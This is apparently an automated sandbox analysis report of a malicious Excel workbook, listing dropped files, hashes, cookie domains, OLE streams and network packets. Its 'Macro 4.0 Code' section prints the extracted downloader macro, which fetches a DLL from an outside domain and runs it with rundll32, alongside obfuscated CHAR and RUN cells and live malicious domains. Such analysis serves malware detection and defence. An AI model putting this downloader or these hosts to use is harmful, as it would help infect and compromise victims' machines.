Preview:	..n.0...'..".N...v.z.u.[.v.`.Cb...........U{n.....I.I...U.d..2zJX1"...H..).s.3?'..BK...S..O.g.?Ln..\|.....:...R_..._..:.,.kE.?]E.(....G.3Z..@.<..d6...q..j.oo..&...sIjJ...E.F.{".Y,T..wml]x.@H_...).SQ..@.qc...VW{..M........W.cs;."Vv[..S.....r\|.....:%!.....m..]5.....eq.I.f.sX.....V..\i1o ......Q..J=.Nl..Su.L..P.......@....}..c$>>#.....3$>.".q......l...s...$cX..0.a..BU.....W...2,d.X....c!+.BV.....Y9..r,d.X...u....."k.a....r.].....u....*l..)....1F.^....{\|H'.....x...N..L....cl.`.....T....\P....%j;..&...KB!.....m...........PK..........!..0O.&...........[Content_Types].xml ...(............................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Wed Jan 27 04:34:42 2021, atime=Wed Jan 27 04:34:42 2021, length=8192, window=hide
Category:	dropped
Size (bytes):	867
Entropy (8bit):	4.478468218734738
Encrypted:	false
SSDEEP:	12:85QZn1n4CLgXg/XAlCPCHaXgzB8IB/JovX+WnicvbjbDtZ3YilMMEpxRljKfkcTg:85e4U/XTwz6IYvYebDv3qekwrNru/
MD5:	B5FA6EDF15A44D7B78F7D923AE79E0B0
SHA1:	DCAEEC08A30FC74C486371D75B6146FBE60BBF37
SHA-256:	A019AD5EF24BEB3F34EEDB8F720A148C70979DC5DB441FE2DAAAA27C244D046C
SHA-512:	B24D76FB30A60C22EFFA4333C1AB70D8A47229837966FC0D0AE989D785DD181144CE56A0C022AF0F19244200F39DD5968BB8AE9E0C2B6722B49549D5333ECD60
Malicious:	false
Reputation:	low
Preview:	L..................F...........7G..o ..n...o ..n.... ......................i....P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1.....;RV,..Desktop.d......QK.X;RV,..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......i...............-...8...[............?J......C:\Users\..#...................\\609290\Users.user\Desktop.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......609290..........D_....3N...W...9r.[........}EkD_....3N...W...9r.[.*.......}Ek....

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\case (4335).LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:13 2020, mtime=Wed Jan 27 04:34:42 2021, atime=Wed Jan 27 04:34:42 2021, length=99328, window=hide
Category:	dropped
Size (bytes):	4076
Entropy (8bit):	4.531658040899013
Encrypted:	false
SSDEEP:	96:8Lk/XLIkve3Qh2Lk/XLIkve3Qh2qk/XLIkve3Qh2qk/XLIkve3Q/:8L+IkeQEL+IkeQEq+IkeQEq+IkeQ/
MD5:	7D69374CC0FF7B2AF57099A2C208DC1D
SHA1:	EF7FFA5E9DF8BE113452FDC7CF6A6EB820A59AAF
SHA-256:	F19BA3A3D77B50B19258FCD30A1EAB60098182727A3D74227DE9AC3C8F276429
SHA-512:	14EA976F449A3AB33C33260115254571AD38B8229AF364A98A67F9EA87617A43256B2F7C28492FFE95EE5E88D18751C0C1F362A524E3AEAA81155B29773AA303
Malicious:	false
Reputation:	low
Preview:	L..................F.... ...3....{..o ..n......n................................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......Q.y..Desktop.d......QK.X.Q.y..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....h.2. d..;RR, .CASE(4~1.XLS..L.......Q.y.Q.y...8.....................c.a.s.e. .(.4.3.3.5.)...x.l.s.......y...............-...8...[............?J......C:\Users\..#...................\\609290\Users.user\Desktop\case (4335).xls.&.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.c.a.s.e. .(.4.3.3.5.)...x.l.s.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......609290..........D_....3N...W...9F.C...........[D_....3N...W...9F

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	176
Entropy (8bit):	4.505329288435076
Encrypted:	false
SSDEEP:	3:oyBVomMEJeIAJmMEJeIAJmMEJeIAJmMEJv:dj6FFFE
MD5:	E523EBFB4AF52DD8C201A2682CB6D5C2
SHA1:	9E524CE9C95F9861591F955E1958970D65C76539
SHA-256:	D9A1347100542AE0ACB17709B30B3E5A3C28AF3254914EB6EBE5504A9612DD24
SHA-512:	63D3E635D56D193BECB55AB8A82A984278167F0FC679A13BC63CB0273B449B0C2B62D8E3771BB8E52111D65FFAD18C2894A79598560B0CCC81C75E3491C76034
Malicious:	false
Reputation:	low
Preview:	Desktop.LNK=0..[xls]..case (4335).LNK=0..case (4335).LNK=0..[xls]..case (4335).LNK=0..case (4335).LNK=0..[xls]..case (4335).LNK=0..case (4335).LNK=0..[xls]..case (4335).LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\50PT1LPA.txt Download File
Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	115
Entropy (8bit):	4.399547545027885
Encrypted:	false
SSDEEP:	3:GmM/ST1TrSVKcvJTSMdl1cSPcHmcgVeUgvX:XM/QNcv4qlVPCgVNg/
MD5:	796C2B6962C518671977FD8F875322E4
SHA1:	E7C8D7EB4238DC963C999B01B640D320E5BCEE97
SHA-256:	CE08B896C90A5D1B3697D179539F689410D6226DA4697F674E21D43C16F7E629
SHA-512:	5CF3C692FE6AE0A0B3224C2B5892B850F7BB22E54F993836F0585A847037643FEA883AB027FA76CF523E2F2E35AEC3AA826AF389815EE75A758FE048C56E7B97
Malicious:	false
Reputation:	low
IE Cache URL:	govemedico.tk/
Preview:	__cfduid.d5b9858d9c1e46ad471504283178ab38f1611693337.govemedico.tk/.9728.3322294912.30870453.3834856829.30864494.*.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\NZ5UXGF8.txt Download File
Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	119
Entropy (8bit):	4.433531808225311
Encrypted:	false
SSDEEP:	3:GmM/rDSQgavGqSMKNTWY97KJpKfcSNpcHmBx3TgvX:XM/rOBaIMKNKY97v0ODRTg/
MD5:	E56794E70DBCEE6026450D29D29A8978
SHA1:	243ED8813262E2B9FC537243CCCA576CDEB0BCF6
SHA-256:	6CF74E6DB08AE634293BD9A497F5FDE9E67F3FF25E59C01C064C93157D688F73
SHA-512:	5DCABD032E0C2BCE611CF40B6CF154D9056C3A1609838A1358F2FD8C13109F2D64E7990077CDCF2B1DD1558981464B71634108654EEE06A464BDA229C2ED071E
Malicious:	false
Reputation:	low
IE Cache URL:	homesoapmolds.com/
Preview:	__cfduid.d4e49f7596fb660dc86e16cec33016e4c1611693337.homesoapmolds.com/.9728.3322294912.30870453.3828460818.30864494.*.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\QUXL3DRG.txt Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text
Category:	downloaded
Size (bytes):	111
Entropy (8bit):	4.419315168952571
Encrypted:	false
SSDEEP:	3:GmM/GBd8tFuSI552IGT0cSN4q/md0HXvcRRgvX:XM/QdauzrSTqDH/c3g/
MD5:	78C17B26331AE38E3113FF256E212001
SHA1:	F2BDCBEADBCF3841B9799BF831B6168F485EFF7C
SHA-256:	FE197B665D9EE490696887F2446F278C23513AAAAA2F18422CD1375BFDAFCCAD
SHA-512:	6056A6B23AD6AB25FFA5342DC3CC3B23392232BC815DFC0521ECD5B07FF14B6903023F9477CAB7418918F47066222104771AE764A532D867E95B29ACA2628CEA
Malicious:	false
Reputation:	low
IE Cache URL:	rnollg.com/
Preview:	__cfduid.db774c0a7fb6365373fab39efab7d11401611693303.rnollg.com/.9728.2982294912.30870453.494472222.30864494.*.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\Y7E8FGKZ.txt Download File
Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	117
Entropy (8bit):	4.4918088703183905
Encrypted:	false
SSDEEP:	3:GmM/gBPrb6EHInYUZCoCAnw2lSNMXq/mbXn3TgvX:XM/8WuInYU8onweBqgXnjg/
MD5:	7E09D3A0588D75401463087B2C0D8E09
SHA1:	A7B75E9770705361A32DCC13AD806D5DA3A161A3
SHA-256:	22F797BF239CE7F7744C554EF0C1E0B6D1C21C5522EB3FDD193E1A4E75B9819C
SHA-512:	5E23D5620ED9F1DD221FD23B925A43D9F4E17B4D5DE01F19D1D0F2682B725323EED079E6BD4C54D90B5110B6627E8D8DCC66078DAB6D95FDFD4C316C7DBC695B
Malicious:	false
Reputation:	low
IE Cache URL:	gadgetswolf.com/
Preview:	__cfduid.dd17ded6f0d66b400516efab984fbccf71611693336.gadgetswolf.com/.9728.3312294912.30870453.3822376807.30864494.*.

C:\Users\user\AppData\Roaming\Ubc\way.dll Download File
Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	933888
Entropy (8bit):	6.687983171155114
Encrypted:	false
SSDEEP:	24576:xTw7wGauFB4FU61kqTWJtknpwHfl1kKoop7:ih/FaU65TE1Hf9oI7
MD5:	B0F3FA047F6AE39A145FD364F693638E
SHA1:	1951696D8ACA4A31614BB68F9DA392402785E14E
SHA-256:	0BF22B8F9AAEF21AFE71FCBBEA62325E7582DAD410B0A537F38A9EB8E6855890
SHA-512:	86E4516705380617A9F48B2E1CD7D9E676439398B802EB6047CD478D4B10BF8F4BA20E019F337B01761FA247CD631CCAB22851F078089C2E1C61574BCA9F5B98
Malicious:	false
Joe Sandbox View:	Filename: case (1522).xls, Detection: malicious, Browse Filename: case (4374).xls, Detection: malicious, Browse Filename: case (166).xls, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Vt1..._..._..._......._...!..._.5."..._.5.2..._......._...^..._.5.1.C._.5.%..._.5.#..._.5.'..._.Rich.._.........................PE..L......C...........!................wq............@.....................................................................c.......<....`..`....................p..T...................................p...@...............`............................text............................... ..`.rdata..C...........................@..@.data...`d....... ..................@....rsrc...`....`......................@..@.reloc..~....p... ... ..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\0FDE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Applesoft BASIC program data, first line number 16
Category:	dropped
Size (bytes):	173366
Entropy (8bit):	5.331066118802068
Encrypted:	false
SSDEEP:	3072:9xrtdAOtyoVlDGUUlEfblBiPP58Lml9i+aEdDhlQaEdzKp6DxrtdAOtyoVlDGUU7:9xrtdAOtyoVlDGUUlEfblBeP52ml9i+x
MD5:	3FA52813F41144EBCBCB489CB2D5D8EB
SHA1:	BD1996F4AAE5B541C4E792DCABB2A37D7228DB65
SHA-256:	C70F62AC6330A591042A6C85EE24BC8B83376EDC4206B4C8568CB212A900FA6D
SHA-512:	BFE77AC191DF8F9E0B8BBAF87F1CF4490FB22B0C86AA5E3B85907CF63AE5ED8FF86F77F09856389AA68B54FA15451004939823AD64F4D92CD1F11F334F76EE28
Malicious:	false
Preview:	........g2..........................\.p....user B.....a.........=.@............................................................... .....................................=........K.$8.......X.@...........".......................1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.o.r.b.e.l.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.(.@...............C.o.r.b.e.l. .L.i.g.h.t.1.(.................C.o.r.b.e.l. .L.i.g.h.t.1...................C.a.l.i.b.r.i.1...@...,...........C.a.l.i.b.r.i.1.(.................C.o.r.b.e.l. .L.i.g.h.t.1.(.0...............C.o.r.b.e.l. .L.i.g.h.t.1.(.0...>...........C.o.r.b.e.l. .L.i.g.h.t.1.(.....>...........C.o.r.b.e.l. .L.i.g.h.t.1...................C.a.l.i.b.r.i.1.(.................C.o.r.b.e.l. .L.i.g.h.t.1...0...............C.a.

Static File Info

General
File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1251, Author: , Last Saved By: , Name of Creating Application: Microsoft Excel, Last Printed: Tue Jan 26 16:17:13 2021, Create Time/Date: Thu Apr 23 13:26:24 2020, Last Saved Time/Date: Tue Jan 26 16:28:15 2021, Security: 0
Entropy (8bit):	3.8735422234438284
TrID:	Microsoft Excel sheet (30009/1) 78.94% Generic OLE2 / Multistream Compound File (8008/1) 21.06%
File name:	case (4335).xls
File size:	156704
MD5:	bf86559630b855e4bf2c54d641147b24
SHA1:	182cbac1bdd020fa5fee6ed9d6a50d1071fbe320
SHA256:	31ea3370ca06a2af45514a59a0ae49dc62ac34bc4dce44402f169a9d6fb93853
SHA512:	f188cdd1ae628850d5a48f32ec17d399fdbed68ed6a6e92977374dac61a0d3286f0a2c1ff83ae4b70af219c9f3d7b49aa4ac5125f63f7f75fc6b70a17a4ddc83
SSDEEP:	3072:49SUz4tH8vsderSh1yRNJd6zAtH8U5BXKjBPWlyTSgG+g18:49SUz4tH8vsderSh1yRNJdaAtH8U5B6F
File Content Preview:	........................>.......................0...........................-......./..........................................................................................................................................................................

File Icon


Icon Hash:	e4eea286a4b4bcb4

Static OLE Info

General
Document Type:	OLE
Number of OLE Files:	1

OLE File "case (4335).xls"

Indicators
Has Summary Info:	True
Application Name:	Microsoft Excel
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	False

Summary
Code Page:	1251
Author:
Last Saved By:
Last Printed:	2021-01-26 16:17:13
Create Time:	2020-04-23 12:26:24
Last Saved Time:	2021-01-26 16:28:15
Creating Application:	Microsoft Excel
Security:	0

Document Summary
Document Code Page:	1251
Thumbnail Scaling Desired:	False
Company:
Contains Dirty Links:	False

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.843601759481
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . ( . . . . . . . . . . . 8 . . . . . . . @ . . . . . . . L . . . . . . . T . . . . . . . \\ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . j S R F q S o B P w O . . . . . M a c r o 2 . . . . . M a c r o 3 . . . . . M a c r o 4 . . . . . M a c r o 5 . . . . . M a c r o 6 . . . . . M a c r o 7 . . . . . M a c r o 8 . . . . . M a c r o 9 . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 28 02 00 00 06 00 00 00 01 00 00 00 38 00 00 00 0f 00 00 00 40 00 00 00 0b 00 00 00 4c 00 00 00 10 00 00 00 54 00 00 00 0d 00 00 00 5c 00 00 00 0c 00 00 00 e7 01 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 04 00 00 00 00 00 00 00 0b 00 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.362148031008
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . h . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . . . . . . . . @ . . . . . . g j . . . @ . . . . 9 . ? . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 c4 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 04 00 00 00 50 00 00 00 08 00 00 00 68 00 00 00 12 00 00 00 80 00 00 00 0b 00 00 00 98 00 00 00 0c 00 00 00 a4 00 00 00 0d 00 00 00 b0 00 00 00 13 00 00 00 bc 00 00 00 02 00 00 00 e3 04 00 00

Stream Path: Book, File Type: Applesoft BASIC program data, first line number 8, Stream Size: 145752

General
Stream Path:	Book
File Type:	Applesoft BASIC program data, first line number 8
Stream Size:	145752
Entropy:	3.94377585798
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . . . . . . . . . . . . B . . . . . . . . . . . . . . . . . . . . . . . L G u P G w K V E D q c E . . ! . . . . . . . . . . . . . . . : . . . . . . . . . . . . . . . . 8 . . . . . . . . . . . . . . . . . . = . . . . . . . . Z . $ 8 .
Data Raw:	09 08 08 00 00 05 05 00 04 3d cd 07 e1 00 00 00 c1 00 02 00 00 00 bf 00 00 00 c0 00 00 00 e2 00 00 00 5c 00 70 00 0e c0 ed e4 f0 e5 e9 20 c5 eb e8 f1 e5 e5 e2 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Macro 4.0 Code

CALL(URLMON, URLDownloadToFileA, "JJCCJJ", 0, "https://rnollg.com/kev/scfrd.dll", C:\ProgramData\BysKIez.dll, 0, 0)
CALL(Shell32, ShellExecuteA, "JJCCCCJ", 0, Open, "rundll32.exe", C:\ProgramData\BysKIez.dll, DllRegisterServer", 0, 0)

,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=CHAR($FJ$1168-11),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=RUN($HL$1475),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=RUN($GW$1647),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,84,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 26, 2021 21:35:03.088342905 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.112638950 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.112756014 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.127186060 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.150625944 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.154704094 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.154751062 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.154892921 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.173041105 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.196867943 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.198448896 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.198568106 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.408238888 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.429584026 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.577672958 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.577702045 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.577713013 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.577721119 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.577733040 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.577744961 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.577753067 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.577965975 CET	49165	443	192.168.2.22	172.67.150.228
Jan 26, 2021 21:35:03.578126907 CET	443	49165	172.67.150.228	192.168.2.22
Jan 26, 2021 21:35:03.578155041 CET	443	49165	172.67.150.228	192.168.2.22
